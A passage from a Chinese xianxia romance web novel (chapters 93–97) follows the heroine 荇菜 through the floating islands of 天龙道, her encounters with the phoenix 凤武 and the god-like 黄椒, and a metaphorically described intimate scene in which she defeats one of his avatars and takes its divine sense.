黄椒就在虹桥的对面，不过去问候一声，说不过去吧？
她扔掉扫把，踏上虹桥。
落叶台上渐渐地凝出一片片颜色不一的落叶，乖顺地躺在地面，等着丽人打扫。
荇菜踏上虹桥，一步步往前走，感觉非常新奇，像踩在踏实的彩虹上面，又像踩在高空的高透玻璃，比腾云驾雾还刺激。
腾云驾雾动用得是灵力，自己就是最好的安全绳。
如今，她走在虹桥上面没用灵力，如普通人进行高空行走。两头吹来的风能让普通人胆怯而退。
高空的风寒，忽地打来，荇菜被掀得后退几步，这才御使灵力定住脚。迎面的风越来越强劲，有一种风要胜你一筹的感觉。
“这天龙道什么鬼，各种试炼、机关、阵法都喜欢胜人一筹，就这么喜欢高人一等吗？”
虹桥另一头的玉石台上，羽化生默默地看着伏地的寒凝仙子，以为师尊真会见死不救，大殿的门就这么不期然地打开。
黄椒特意换了一身闲适的青衫白袍跨出殿，目光穿过羽化生，无视地上的寒凝，直直地射向远处的虹桥。
“她，来了。”
“师尊……”
羽化生不解地望向高大犹如神祇的男人。不管这个男人穿什么，人们首先感觉到得必然是他在无形中散向周围的灵场，在安心期盼的感觉中仰望他的身形、气质，目露欣喜后才大胆地看向他的脸：正常平和，却无端耀眼。
“天尊，救救……弟子……”寒凝仙子也被期待的灵场辐射，勇敢地抓向黄椒的鞋履，却抓个空。人早已不在原地。
黄椒继续向前走，垂落的手并拢双指，向下转半圈，落下几点金光。
浮动的金光飘飘摇摇地落在寒凝仙子的鬓角，融进她的识海、魂身，灭掉侵蚀她魂魄的业火。
“啊……”
寒凝仙子一下子轻松了，也有力气蹒跚地跪好，“多谢天尊，赐予功德。”
羽化生追随黄椒的目光期待地看向远处的虹桥，一眼看清那个今日扫叶的丽人。不，不是普通的凡女，能得师尊亲自出迎得只有那个……师娘。
他一瞬间醒过神：我期待什么呀，又被师尊的灵场影响情绪。
羽化生收敛心神后垂下头，看眼张望的寒凝仙子：“业火噬魂，却对你的法体没什么大害。本尊先带你下岛，”以免打扰师尊见那个……师娘……
真不习惯，千年多了吧，师尊竟然真对一个女子动心，而且借用分身缔结契约，不理解，不明
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白，不敢信。
羽化生向黄椒的方向行礼，卷起好奇的寒凝仙子，遁空离开镜花岛。
黄椒头也不回，一步跨出三步的距离，站在虹桥得这头，生硬的脸庞缓缓地拉出一缕微笑。整张神铸般的脸瞬间如阳光般绚烂，散溢的灵场浮动着欣悦的心情。
虹桥阵法阻拦了荇菜。
黄椒睨望蓝天的眼睛露出漫不经心的笑意，像一个不羁的少年。她竟然在一个劲地猛冲，明明已经有花涟的阵道传承、皎月的卦阵传承，偏偏不静下心专研，去学九阳的剑法，剑法也没吃透。
得想个办法让她学会阵法。不然，将来的天局困阵，怎么脱身啊，娘子。
黄椒抱起胸，靠在玉石台上凿刻“镜花岛”的大石，兴趣盎然地看向虹桥对面遇到麻烦的妻子。
“虹桥阵法遇强则强，以你现在的状态，硬闯可不行。娘子，小心啊。”
袖手旁观，没有上去帮忙。
黄椒抽空环顾衣衫，将金色的瞳仁内敛，泛出幽黑的深邃光泽。这几息的功夫，他越发适应刚刚兴起的性情，搓摸光滑的下颌：“见还是不见？”她能接受不是分身的夫君？
虹桥那头的荇菜冲闯几次，体内的妖煞之力作祟，被大风掀回落叶台，砸进一堆落叶。
她诧异地看向四周多出来的树叶，拾起一片渐渐凝成的橙色叶子。
叶子倏忽地消失，沿荇菜的掌心融进识海。
一瞬间，荇菜的心里生出融融的喜悦，像刚踏入八元城时遇上黑羽被孩子们围着时的心情，黑羽在孩子堆里脱不开身，她替他解了围，生出一种“遇见善而心善”的美好心情。
也像初下莲花顶，在大殿逼花涟现身，乍见他的美好姿色而动心调戏的美丽心情……
荇菜蹦起来，远离这些五颜六色的落叶：“这……究竟是什么啊？”
虹桥另一头的黄椒轻轻地叹口气，掌心浮起一片暗绿色的落叶，轻轻一送，落叶随风飘向落叶岛。
别的修士可能越修炼，性情就越寡淡，神若冰清。
但是，黄椒不是那挂，天地出生前他已被困在此处，亲眼目睹这方天地的诞生、发展……他的心情极其复杂，若不宣泄就会入魔。而散情的法门是把神识散向四周，让性情外释，心情也随之流出去。
荇菜看向不知怎么凝出来的绿叶，下意识抓住叶子。
叶子再次在她的掌心消失，心底生出一股哀愁。无端记起同花涟在枫林分别时的心情：怀揣着不安、紧张，期待着再见的美好……
“这些……是……是心情？”谁的心情？
荇菜愕然地看向虹桥那头，失声呢喃：道祖天尊……黄椒的……心情？
她赶紧远离这些叶子，就见地面又凝出一片漆黑的叶子，纹理清晰，宛如染过墨的枫叶。
“这……”不会真得是黄椒的心情叶子吧，黑叶子代表什么？枫叶……花涟，难道他知道我在这，想杀我？
荇菜想起蜃珠的冰雪大厅里置放那么多的分身冰尸，下意识咽口吐沫，弯身去拾那片漆黑的叶子。
“住手。”
94. 第 94 章
羽化生立在落叶岛外，强忍着焦急，让面色看起来镇定自若：“今日取叶怎么这么慢？”
荇菜见是他，不由往后退一步。
羽化生的修为有可能堪破以四术缔造的易容术。但是，今时不同往日。
荇菜默默地再进一步：自己对易容对象的神态、容貌、内心的掌握有更深入的解读。只要表现得当，很大可能骗过羽化生。
荇菜的一退一进应对得很好，慌乱向他弯身行礼。
若黄椒没有暴露荇菜，羽化生自忖一定认不出她。
他慌得往侧边挪：……师尊看着呢，当不起您老的礼。
荇菜行过礼抬头，转向挪位的羽化生，不由微微蹙眉：这人……避礼？
她拾起扫把后再次去扫叶子：“大人……有些怕……”
羽化生：……真没看出来您老会怕，世上还有您老不敢闯的地方吗？
“只要把叶子……收拾，”羽化生咬牙，这些叶子根本不是修士可以碰触的凝结物。天尊的内心力量太过强大，普通修士一个不慎可能被情绪力量侵蚀。
如那片黑叶，一旦沾染，或会入魔。
荇菜扫拢五颜六色的叶子，不管羽化生认没认出来，这堆叶子才是真麻烦：若用手拿叶子放进封灵囊，叶子会化作情绪流进识海。那就彻底暴露了。
对了！无法修炼的凡人五感微弱。简称：顿感力强。她们消化不了情绪叶子。
凡女碰触蕴含情绪的叶子不会被叶片的力量侵蚀心灵。即使她们被侵蚀也是微弱的表象，像吉雅的周身发冷，顶多像被阿飘穿过身体。
黄椒是处在不同维度的“阿飘”！呃……荇菜被自己天马行空的理解逗轻松，又闪过一道灵光：人说草木无情，这是错的。只是因为人类没有处在草木的位置，感知不到草木的情绪。
你怎么可能想到：草木扎根大地，它们的情绪是地母、世界之心的情绪。所有立在这片大地上的生命产生的情绪，正是此刻“世界”的情绪。花草树木、人、风、流水，浮云、温度……世界的……情绪……
“啊……”荇菜立在原地，双目中滑过橙色和绿色的“叶片”。
远处的黄椒抬起手，定住羽化生在的时空，往荇菜的方向露出赞许的笑容。
此时的荇菜好像与这个世界隔离，又好像融进整个世界：修士的法体含灵量不等，个体的差别和内心的追求让他们心中的欲念远比凡人强。修士碰到情绪叶子，情绪会融入识海，被黄椒的情绪力量牵制住。这就是为什么天龙道需要凡人女子上岛：天天给天尊捡情绪呢。
捡情绪……笑掉大牙了，哈哈哈。
荇菜的顿悟境还没完全成型就消散。她在内心疯狂地捶地，抽搐唇角：自穿书以来，从没有像这一刻这么搞笑。哈哈哈……原书里的道祖天尊黄椒究竟是个什么存在啊？不会是拘禁公主的恶龙，等着被朱琴天除掉吧？哈哈哈哈……
虹桥另一头的黄椒轻笑着垂头：多好的机会啊，娘子。你差点就碰触到这个世界的真相。
羽化生的空间与当前融合，神情焦急，没看到荇菜努力压制的唇角和闪烁快乐的眼睛。
完蛋。师娘肯定不能拾捡含有戾气的叶子！
她搞什么非得上岛，在下面自强不息、努力修炼不好吗？
难道她终于要投机取巧，投靠师尊吗？
羽化生的目光落在虹桥的另一头，师尊矗立如天神，摸不准师尊的意思啊。
荇菜又忽然顿住：咿，这些想法天马行空，文理科不沾，怎么会这样想呢？她的目光落在地上的叶子，露出疑惑：难道是……
“姑娘，你……”羽化生焦灼地出声。
荇菜立马收心，扯下遮羞布前必须找到凤武，拿到狐羽的精魄。她望向虹桥，桥上的阵法生出的风只会往回吹，提起扫把旋身一扫。五颜六色的落叶纷纷打向虹桥。
羽化生瞪大眼：“……别乱来啊。”这些含有戾气的叶子掉下去会闯大祸。
虹桥另一头的黄椒绽放信任的笑容：娘子，真够机智。
惶恐的心情散了。
他周围的灵场洋溢明亮的气息，连镜花台上的天也更加透亮。
荇菜拉开封灵囊，旋身如蝶采叶，一一接下被风刮回来的落叶。
速度之快不似凡人所有。
落叶尽数进封灵囊，她一把拉紧抽绳：“好了。”
羽化生的整张脸仿佛吃了什么一样，憋得难受。
“作为凡女，姑娘的本事真是不弱啊。”
不翻白眼很痛苦！
荇菜自信地仰首：“那是自然。作为西塔国的女子，没两把刷子怎么震住男人。”
羽化生的目光悄悄地扫眼虹桥：这辈子你都不可能镇住他吧。
目送荇菜上车飞离，他往黄椒处飞去，落地行礼：“师尊。”
黄椒立在玉石山旁，脉脉地看向飞下去的马车，忽然道：“此前有一小缕神识没有归位，倒不是大事。皎月的分身神识也没有归来……你说她要干什么？”
羽化生愕然：“师娘已经拿到皎月尊者的修为？”
“没有。皎月为脱离分身的身份，将自身的修为散去，分割神识送入欧阳燕歌的体内，惹出不小的麻烦。”
羽化生担忧道：“神识入他人法体，意为：夺舍。此事损功毁德。弟子愿意下岛，解决此事。”
“不必。皎月蛰伏在拘缨朝堂就是担心有人找麻烦。躲进山野，不如立在高处，却还是不明不白地消失。
机关算计一场空，倒不如她误打误撞来得妙。不过，她想做什么呢？
裂魂破境阵蕴含生死意境的轮回道场，可不是轻易能领悟。难道她想参阵，复活花涟？”
羽化生轻蹙眉宇：“师尊的阵法哪这么容易参悟？拘缨没有传出丞相过世的消息。难不成……师娘上岛了，还有十方山寺的火云子也在试图上水月岛，他伤了寒凝。这里面有什么关联？”
黄椒仰头看向上空，目光里投射十方成阵的星辰大阵。
他一言不发，不知道在测算什么。<
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羽化生暗暗握拳，急切道：“师尊，以前您不在意这些分身。上次，青虞九阳和三生道的道生花都安全地离开归魂殿。”
黄椒好像听到笑话，收回白日观星的眸光，平视着前方的空旷，缓缓地轻笑：“安全？我什么都没做，他们就已经吓成这样。若我想做什么，他们已经把这个世界掀了吧……掀了？倒是挺有趣。”
羽化生吓一跳：“师尊，您不能这样想。”又想起道生花孤注一掷舍掉法体也要脱离分身身份的态度。他生出强烈得不安感：“师尊收回分身不过动个念头的事，”所以，应该不会有事。
黄椒没搭理他的话，突发奇想：“你说我亲自见她，她会不会把我也当做一个分身？我记得水月岛东西两方各有一位分身镇守长月剑阁和长恨钟台。
我想和她有肌肤之亲，不止于回味神识留下的记忆了。”
“……什么？”羽化生石化，被黄椒转变的灵场辐射，一瞬间在心里生出欲望，被他转化为：必须阻止师尊。
然而，黄椒已经消失在原地。
羽化生的头脑渐渐地冷静，白色的羽扇掉在在虹桥，痛心疾首地抱头喃喃：“师尊……你的责任，天下苍生呢？该死天地共情之力。”
**
水月岛的焚戾炉石牌坊外，荇菜把封灵囊交给接手的修士，目送这人捧着封灵囊穿过高耸入云的门坊，踏上虹桥走向远处的火炉。
不用说，这里的虹桥也有护阵，阻止外人窥探焚戾炉的隐秘。
修士把封灵囊投入火炉，再走回门坊下，诧异道：“你怎么还不下岛？你若不手持莲花洗涤沾染上的寒气。外邪入体，受罪得还是你自己。”
荇菜望着他，目光露嬉，暗紫灵眸滑过眼前人的眼睛。
“这石坊写着：焚戾炉。这炉子究竟是干什么用？”
“听护法说镜花岛的落叶台有落叶。凡女上岛打扫，取落叶后交给我。由我扔进焚戾炉烧毁掉封灵囊。”
荇菜大概猜到道祖天尊的秘密，又问：“你知道封灵囊里的落叶是什么吗？”
“落叶就是落叶。”
“你不知道啊？你们真能忍住好奇心。”换个说法是这些人无条件地信任、崇拜道祖天尊黄椒，不敢质疑他一点。
荇菜还要再问几个问题，一时按在心口。动用惑术，煞气入脑，那些该死的生杀想法又在搅弄识海。
“最后一个问题，天池怎么走？”
修士回答完后自顾离去，行到半路摇脑袋：“刚才是怎么回事？那个凡女……马车下去了？”
荇菜驾驭神风驹，向天池的方向飞去。
人一落地，眼眸泛起血色红光。她压抑内心的燥怒，让神风驹离去，一步抢出水月岛的结界，踏上覆盖冰霜的虹桥。
通往天池的虹桥没有天龙道的修士镇守。这个地方寒风扑面刺骨，没什么人会想不开到这里挨冻吹寒风。
虹桥上的冷意让荇菜的理智清醒几分，凶妖煞气引起的血腥红芒稍退，但人被冻得寸步难移。
95. 第 95 章
“啊……”
荇菜跪在冰桥，手按的地方到处是透骨的冷意。桥面反射着镜面的光，厚厚的冰霜不知冻多少年。
时间越久，她整个人的血液都要被冻住。
“火，涅槃火。”荇菜咬牙取出玲珑球紧抱掌心。
没有灵气防护罩的高空，没有炙热的灵力护体，全靠半妖之体抗冻，而鸟最怕挨冻。玲珑球内的涅槃火被寒流包围，微若萤火，仅透出一丝暖意。
“凤武……”荇菜主动使用主仆契约，召唤附近的仆印。
拥有凤凰真火的凤武可以帮助自己通过这段路到达天池。
仆印一方的凤武在迎客楼里豁然起身，奔向北面的窗口：“那个女人……真得来了。”
他疾步出门，被羽化生派的人拦道，不怒反笑：“本尊等的人来了，本尊现在要出去。”
“凤尊，护法说了：你在天龙道残害同族，必须做客十年方能离开。”
“哼。本尊杀得是本族叛徒，关你们天龙道什么事。哦，不就是损了你们天龙道称霸天地的颜面嘛。你们天龙道存在得也够久了，真以为本尊不能走吗？”
“凤尊，请你说话客气点。天龙道……”
“本尊是在等她亲自来取东西。凭你们就想拦本尊？”凤武不管两人吧唧啥，左右出手，护卫直接倒下。
“弱不可闻。羽化生以为本尊是君子。本尊为得到她可做小人，”做她的小人。
困君子的办法怎么防得住想要做小的凤凰呢。
凤武不化巨鸟，怕惊动羽化生出面阻拦，缩成五彩的小鸟，往北飞去。
他冲出水月岛的结界，看到那个被冻成一坨的女人，飞扑过去。
为这次出场，凤武在脑海里演练过几次。他霸气地落地，红艳的火属灵力蔓向四周，虹桥上的冰霜融化成水，哗啦啦地洒向浮空岛和人间的泽被湖。
蒸腾的水汽将他朦胧得像天神下凡……呸，天神算什么，吾凤凰一族，此间无二！
总之，他很满意现在的出场画面。
“你这女人真是活该。风光时不记得本尊，半死不活倒记得召唤本尊。”
凤武等着她仰望的目光，发现人一动不动地躺着……抽着面部肌肉弯下身，“喂，装什么死，已经不冷了。”
妖毒入心，缠绕在心脏的火种精魄周围。荇菜哪还有力气理他。
凤武这才觉出不对，弯身抱起她，以自身的火力灵场包裹她。
片刻也不见好转，急忙探向经脉：“凶妖煞毒？你倒是会惹妖啊。”
荇菜萎靡的意识渐渐地清醒，吐出一口灼人的热气：“臭屁鸟，快送本尊到天池。”
凤武觉得没面子，想扔下她，又咬牙抱紧她走向天池：“我看在你受伤的份上才伺候你。”
天池还被冻成一块寒冰。高空的风不亚于极地寒流。
“你放本尊下去。”荇菜虚弱道，又舍不得离开炙热的源头。
凤武翻个青白眼，单膝跪地，将她放在冰面。周身灵力一散，炙热的火力融化四周的冰。
天池周围的寒风更大，荇菜还是冷地打哆嗦，眉毛眼角挂着霜。心脏的火种被妖毒纠缠，火力微弱，代表心力衰退。
心力一散，维持的易容术也散掉，脸面、身段恢复成她本来的模样。
凤武瞧着她的容颜，吞咽了下。他凭本能掐在荇菜的下颚，让她抬脸面对自己。
“你以为天池可以驱除你的妖毒煞气吗？别做梦。寒冷只是让你体内的妖毒蔓延地慢一点，让你的脑袋反应顿一点。”
“怎么办？”荇菜握住他滚烫的手，扑棱睫羽，哆嗦着开口，“这是你们妖族的毒……”
凤武勾起抿紧的唇，反手将柔弱的女人抱进怀，一颗心噗通噗通狂跳：“你求本尊，本尊就救你。”
“做……梦。”
“你这女人不知道服软吗？”
“爱救……不救。本尊死，你也……别活。”
滚你丫的凤武，霸总中二路在我这行不通。
荇菜哆嗦地牙齿上下打架：这地方治不好就赶紧走啊。
“为什么上岛？”凤武犹在问。
“你……”把精魄给我。
荇菜的脑海被煞气萦绕的画面冲刺，一瞬间出掌打向凤武的肩头。狐羽的精魄摔出来，被荇菜下意识塞入袖里乾坤。
即使神志不清，她也要拿到这块东西。
凤武硬接此掌，嘴角流下血，面上的肌肉拉伸，绽出大大的笑容：“死到临头才知道说真话。既是为我上岛，我就破例救你这个死女人。”
咬破舌尖，将凤凰真血直接渡入荇菜的齿口：
妖女，你我血脉同源。如今，我再渡半身真血给你，将你彻底妖化。以后你就是凤凰一族的女凰。
男凤女凰，你和本尊天生一对。
荇菜被炙热的真血灌体，浑厚的炙热灵力流转周身。《玉石还阳功》的二篇四章宛如一个环，笼罩向凤武，引渡对方的灵力入体。心脏火种处的妖毒被凤凰真血灼烧，煞气被炙热霸道的灵力驱转出体外，涌向凤武。
“啊……”荇菜痛苦地仰起头，额心的主仆契约浮现，与凤武额头的契约辉映，试图在逆转主仆位置。
“你……休想。本尊……让你做灵泉，已经给足你……面子。啊……”荇菜一掌推开凤武，仰天之际，周身释放冲天的火力。
一声清脆高亢的啼声“啾……”在天池响起，惊动天龙道四面八方。
黄椒和守剑阁的长月合体，一步出现在天池上方，被巨大美艳的凰鸟惊艳眼眸。那斑斓耀紫的瞳眸里藏着三色真火，远胜凤凰。
“诞生了了不起的物种。娘子，为夫再给你提升下血脉，”以免主仆契印倒转，让那小鸟得了乖。
一滴金色的血液消失在黄椒面前，在凰鸟翱飞时冲进凰鸟的识海，融进天地同心命契。
“啊……”飞得起劲的凰鸟瞬间垂翅，向下砸去。于半空中幻化为金红羽衣的绝色丽人。
浮空岛上，人人跑去浮空城外的碧落泉，仰看九天落瀑的美景，追随碧落泉的水流向浮空岛下的泽被湖。
“天尊，天尊去天池吗？”碧落泉的四周很快响起惊呼。
“碧落泉很久没流向人间。”
“一定是水月岛的天池满水，让碧落泉也跟着涨水，才有水洒向下方的泽被湖。
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……
天池上，荇菜浮在天池上方，恰好是凤武伸出双手都没够到的指上一寸。凤武立足的天池已经完全化水，水溢出豁口，宛如九天落瀑，悬挂天际，洒向人间。
凤武被荇菜离体的煞气反噬，僵持着双手试图再抱悬浮上方的荇菜，却发现这个女人怎么都不落下来。
一时着急，煞气缠眉心，他一个不慎落进天池水中。
昏迷的荇菜被黄椒一把抱进怀，修长的手指滑过女人嫩滑如樱瓣的脸颊，指背轻轻地敲在缀着合欢花钿的额心上方：“娘子，醒来了。”
荇菜昏昏沉沉地睁开眼，入目的男人带着如春的暖笑，散发一种惑人的芳香：想要……
不对。
“你……放手……”荇菜清醒过来，转向在水中呼叫扑棱的男人，“凤武，快起来。”
凤武最讨厌变成落汤凤凰，尤其荇菜被一莫名其妙的男子抱了。
“放开她，你谁啊……放开……咕噜……”
盛怒之下，凤武冲出难缠的天池水，带着萦绕周身的煞气扑杀过去，“本尊说放开她。她是本尊的女凰。”
黄椒的眼底在刹那间翻涌阴戾，盯得凤武直挺挺地落回天池。
他抱着荇菜，背身踏空，消失在天池外。
萦绕在凤武周身的煞气变为一片血红的薄叶，旋飞上空，在落叶岛凝结成型。
有一种灵场名为“欲”，宛如修士修炼出来的领域。
荇菜被强大的欲笼罩，被引出心底渴求的欲，像是在莲花殿初见他时就想睡了他。此刻，她再次生出那丝渴望，比过往任何一次都要强大。这种渴望无关情爱，只有自然之欲。
剑阁里的长月剑滑过一阵剑芒，如雾的轻纱飞扬，层层叠叠，拢去眼前的明光。
金环眼瞳像是唯一的光，掩着笑，专注着拂过寸寸绝美的雪肌。
亮紫的双眸凝视着朦胧的男人，肩骨如山脊，宛如一座座小丘，食指摩挲而上，兜不住这片山脊。
男人倾身压来，唇如春日暖风，拂过每一处……
掌如柔韧的渔网，兜扣在盈盈可握处。手背如梭，滑过炙热的丝缎，去采撷那若雪山峰顶的白莲。
熟悉的亲吻，了若指掌的抚触。
对方的身体于彼此毫无生涩。
两人开始一场熟悉的博弈。
春过夏来，荷花开了口，探出粉嫩的丝蕊。
荇菜运转还阳功，吸不到对方的一点灵力，瞪大水雾朦胧的漆黑眼眸，狠狠地甩去一巴掌。
黄椒抬掌就扣住她的细腕，往脸颊带下，暗哑低沉地坏笑：“娘子好心急。为夫一直是纯阳体质，除非自愿，否则你不可能吸走灵力。”
“你……唔。”
夏雨突至，雨打荷花半绽，花枝箭杆被风雨打地摇曳不休。
荇菜狠狠地咬向他鼓起肌肉的臂膀：好结实，咬不穿。
黄椒又一次发出轻笑，细啄她的耳尖，欲的气息浮动在荇菜脸侧，胜过合欢宗任何一种药。
精雕细琢地爱，箭上弓弦地冲。
缓如春风融雪，烈如暴雨雷霆，似贪图美食的饕餮，永不知餍足。
96. 第 96 章
荇菜渐渐地从这场灵欲里清醒，狠狠地咬向他的耳垂，腥辣的血味冲入齿口。
《玉石还阳功》终于如愿以偿地流转。
法体带来的酥麻让她忘记吸灵，迷离中欲哼还吟。
“娘子啊……有你真好……”
黄椒任由自己沉溺温柔，金色的瞳眸漾出屡屡红痕，被他闭眼压回去。
他抱紧荇菜，翻身一转，“现在，娘子可以尽情地采补。”
如同一道释令，大量的灵力从交连处扑涌而出。
荇菜舒畅地仰直天鹅颈，趁对方意乱情涌时，旋手凝力，一掌打向下方的男人。
黄椒抵掌与她的五指交握，掌心的冰力消融，化为薄雾环绕周身。
冷意刺得双方微缩。那皎若明月的脸上露出痞子似的潇洒气：“娘子的心在这时都很狠啊？”
荷枝任鱼儿颤动，花瓣摇曳如迎骤雨。
嘤哼声滚在齿口。荇菜强行克制，轻嗫樱唇，磨牙嗔他：“你……该……死。”
“为夫一直在倾听娘子的意愿，想娘子所想。娘子这样说，为夫就这样死吧。”
“什么？”荇菜被怔。
优昙合拢，花瓣狠狠地飘落。
狂风掀起巨浪、黑云欲压山城。
灼热的灵力宛如灵泉入体，涌上荇菜的心头、识海，让她在一片明亮里生出朦胧：嗯……
刹那的光，舜若流星。
荇菜喘息着，眼前一片空白，好似有什么从感知里划走。
重归清明时，一掌蜃珠的冰寒之力再次袭向直起身的男人。
男人临死前愕然睁眼：“参道不悟，镇阁无尤，归魂。”
霎时间，男人被完全冰封。
裂魂破境阵携带金色的神识离体，被旋身下榻的荇菜摄入空置的精魄。
“成了，终于成了。”荇菜踏出一步，夜雨淋漓，怒瞪榻上被冰封的男人。
适才的意乱情迷恍如隔层纱，怎么都看不清过去的画面。
眼前的男人面容成熟，虽不俊美却中正儒雅，与金猴姐记忆里的黄椒判若两人。常闻修仙人驻颜有术，容颜千年不改，黄椒究竟长什么模样？
荇菜背过身，金红羽衣如云，叠叠覆盖周身。
灵识扑在云纱后的冰雕尸体，冰尸置入蜃珠的冰雪大厅，立在皎月的冰尸旁。
荇菜勾指御灵，如瀑长发叠起云髻。
她拾起地上衣衫里的一枚玉牌：“守剑阁，长月。”
“长月……”目光一远，她走出烦人的云纱，立在圆光窗口前矗立得比人高的长剑。
“这把长剑……在金猴姐的识海里见过，黄椒少年时期抗在肩上的长剑。这叫水月的修士是黄椒的分身，负责镇守剑阁？”
黄椒在浮空岛也有分身！这人有病！
荇菜张手摄取，比人高的长剑直直飘在眼前，垫脚都没握住剑柄：“谁用这么长的剑？”
长月剑感应到她的心意，主动缩小，宛如一根牛毛，像极猴哥的金箍棒。
它拖迤着月华灵光绕荇菜飞一圈，进入万音铃的一颗空铃铛落脚。
镜花岛的天尊殿内，黄椒侧躺在团蒲旁边，面上露出畅快的大笑脸。
金红的眼眸里漾起丝丝的红芒，空空地望向殿外的虚无。
若非脑海里有她，大概里头又在蕴起毁天灭地的情绪。
“娘子在收集神识，难道想再造一个我吗？呵呵……哈哈哈……”
黄椒翻身仰躺，对上殿阁顶的通天圆眼，里面旋转着复杂的十方星环。
“天道，你关不住我了。哈哈哈哈……”
**
黎榷沿坠入碧落泉的瀑布往上飞，落在水月岛的天池边：“尊上？”抱起昏过去的凤武，带着他往天池外的万里晴空飞去。
**
长恨钟台前，火云子睁开血红的双目，直直地看向守钟的长恨：“千年前，道祖天尊在划定十国八宗时曾言：若天地不公，人间长恨，可鸣此钟。此钟旦响，定出山救世。”
长恨阴戾的双眸瞧入火云子的瞳仁：“若撞此钟，恨过长恨。”
“什么意思？”
长恨垂首低笑：“打过我吧。”
长月死了。吾等分身的生杀之权不过在他得一念之间。守钟千年，有谁能长过此恨？
“啊……”冲天的戾气漫向四周，淹没长恨钟台。长恨心中也有恨有怨。
火云子的眼里酝酿着火，张手握拳，周身灼起汹汹阴鸷的业火。
“十方山寺佛笼合境，高昌皇室悉数冤死。此恨滔天，我誓撞此钟。”
长恨张眼，和尚周围散向四处的火花宛如朵朵红莲。
“冥界莲华，又名：红莲业火。两百年前，天尊离开浮空岛挽救高昌百姓，此火烧干荷池阴水，坠入深渊。你以此火傍身，需以功德护体。每用一次莲华，就会消耗自身的累世功德……”
**
寒凝回到人间府，想处理那两个假冒丽人的女子，却发现一人出府未归，一人扫叶未回，当即大发脾气：“她们的荷花明明下过散灵散，根本不可能盛开，又怎么可能去扫叶？你们……没用的东西。一定有人帮她们。
速去炼道府，问明陈仁，这帮护送丽人的修士有没有可疑的地方。”
菡萸急忙答应，另有人入浮空城追查西双儿、瑶姬的下落。
荇菜离开守剑阁，感应到凤武已经不在浮空岛，暗唾了声：“这家伙跑得倒是快。”
精魄已经入手，修为也入化神境，浮空岛上的事情大致已了。
“道生花用得是白玉莲藕制成躯体。禾诗逸曾说天龙道举办八宗会盟时在浮空岛见过莲池。那这莲池究竟在哪里？得到上品的玉藕，学会他的藕人之术，就可能让花涟复活。”
荇菜骑着神风驹，下到浮空岛的碧落泉，就见西双儿和瑶姬在逃命。她把神风驹送给两人，尤着两人离去。
荇菜解决了追两人的人间府弟子，在浮空岛打转，没寻见莲池，又往水月岛飞去。她不走正路，通过天池，从天池的入口进天龙道宫邸。
**
“休要废话。”火云子以六神通之术，“他心通”预见守钟人长恨的行动，以“神足通”试图绕过长恨去撞钟。
然而，长恨不动如钟
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，无法被他心通看透。火云子的神足通也无法穿过他。
火云子被长恨一拳击落钟台，戾气与业火碰撞，宛如燃气遇明火，轰烧钟台。
长恨环顾四周，满溢而出的功德金光阻挡业火侵体，无端嗤笑：“小和尚，你就这点本事，给你撞了钟又如何？
天地本无正邪之分，人心欲壑才生分别。
神灵搭台唱戏，凡人粉墨登场。吾等不过一句唱词：了了。”
“听不懂你说什么。不甘心，我不甘心。”火云子的脑海里闪过师父龙弼、师兄师弟们的脸，十方寺圆空大师的慈悲面容，“凭什么？佛本无错，错得是妖，是她。还我十方山寺众僧的性命。啊……”
一团业火以燃烧本命灵魂为代价，猛烈地袭向长恨。
羽化生赶来时，金光与业火交战一团，齐齐冲向长恨钟。
“不要……啊。”
“铛……”
万古长钟的声音回荡在这方世界。
天地万灵停下手中的事，纷纷仰看天穹烧出的霞光。
玉石台殿里的黄椒倏然起身，金瞳双眸直视殿外：业火正在灼烧长恨钟，执火人的性命已在刹那。
伟岸的身影跨出殿门，金丝白绸的法体荡出一阵天威，席卷天地。
风不会飘、水不会流，鸟雀停滞半空。
时间、空间在道祖的威压下模糊。
燃烧火云子的业火飘飞而起，落在黄椒的掌心，化成一缕火莲。
火云子精疲力尽地跪在长恨钟下，仰看那宛若神明的高大身影：“道祖……天尊，求您救我十方山寺三千僧侣性命。”
黄椒淡漠的眼神望向天穹下方，长恨掉落下界，娘子在水月岛下一掠而过，与长恨一起消失。她又拿到一缕神识。
黄椒想勾唇轻笑，天地感应与自身气场相合，令他冷漠地垂眸，注视跪求的火云子。
“求道祖天尊救我十方山寺三千僧侣性命。”
“吾可救你一人。”黄椒抹去红莲业火对火云子的灵魂侵蚀，旋手一抛，掌心业火落进天龙道后方的莲花池。业火化为一朵血色红莲，独居一池。
“求道祖天尊救我十方山寺三千僧侣性命。”
黄椒感应到火云子的诚心。但是，诚心不能解决此时的问题。现在根本不是打开佛笼的时机。
十方山寺两百年来收集妖丹、妖尸、妖魂，皆被林枷的魂魄煞气侵蚀，不能轻易打开佛笼。
羽化生站出来：“雷火寺一众僧人行事不当，十方山寺镇压妖邪，却让妖邪尽出。若此时开启佛笼，妖邪四散天下，害得是无数的黎民百姓。”
火云子愕然抬头，漆黑的眼眸里溢出泪水：“不可能。美兕攻山时，妖邪已被诛灭大半。道祖天尊，两百年前，您救过高昌百姓和十方山寺，求您再次出手吧。”
“若吾出手干预，必是感天应世。这次……嗯？”黄椒注视晴空外万里，巨大的佛笼散出的金光耀射天穹，此时正在一点点溃散，“妖邪……即将出世。”
一步踏出，法体金身离开天龙道。
“师尊，不可啊。”羽化生提起火云子，急追而去。
97. 第 97 章
荇菜寻找莲池，半空砸下个分身，想也不想就把长恨扔进蜃珠洞境。
她扬眸看眼上方器宇轩昂的闪光男人，暗哼：黄椒不是现在的目标。他的出现吸引天龙道所有人的目光，趁现在去莲池拿玉藕。
荇菜追随红莲业火的气息，寻到隐藏在天龙道宫邸后方的莲池。
池中种得大半是碧玉莲藕，另有单独的莲池种着奇奇怪怪的品种。新落池的红莲业火独居一池，池中的阴水压制业火的活性。
荇菜立在一株漆黑的莲花前，抽着唇角：“黄椒……是有多爱荷花啊？”
“他不爱任何存在，除他自己。或许，他连自己都不爱。”
荇菜戒备地回头，能让化神修为的自己没有察觉，来人一定很厉害。
“你……也是分身。”
“姑娘的长相确实不俗。但是，单说容貌无法吸引他。所以，你的身上必然有别的特质。”
荇菜随他的逼近，下意识后退。
此人的气场一身阴邪，眸光漆黑若池里的黑色莲瓣，更要命得是他的气质与初见的道生花有三分相似。论修为，此人远在化神之上。
“所以，究竟是什么特质呢？”白若冰雪的手指从黑袍下探出，轻轻一勾，将荇菜架起来，旋在池中盛开的黑莲上方。
荇菜自忖已是化神修为，怎么可能轻易被他制服。
紫眸点火，却被对方轻笑着回击。人一下子被池中的黑色莲花吞噬，拢成一支黑色的荷花苞。
“放我出去，你究竟是谁？”
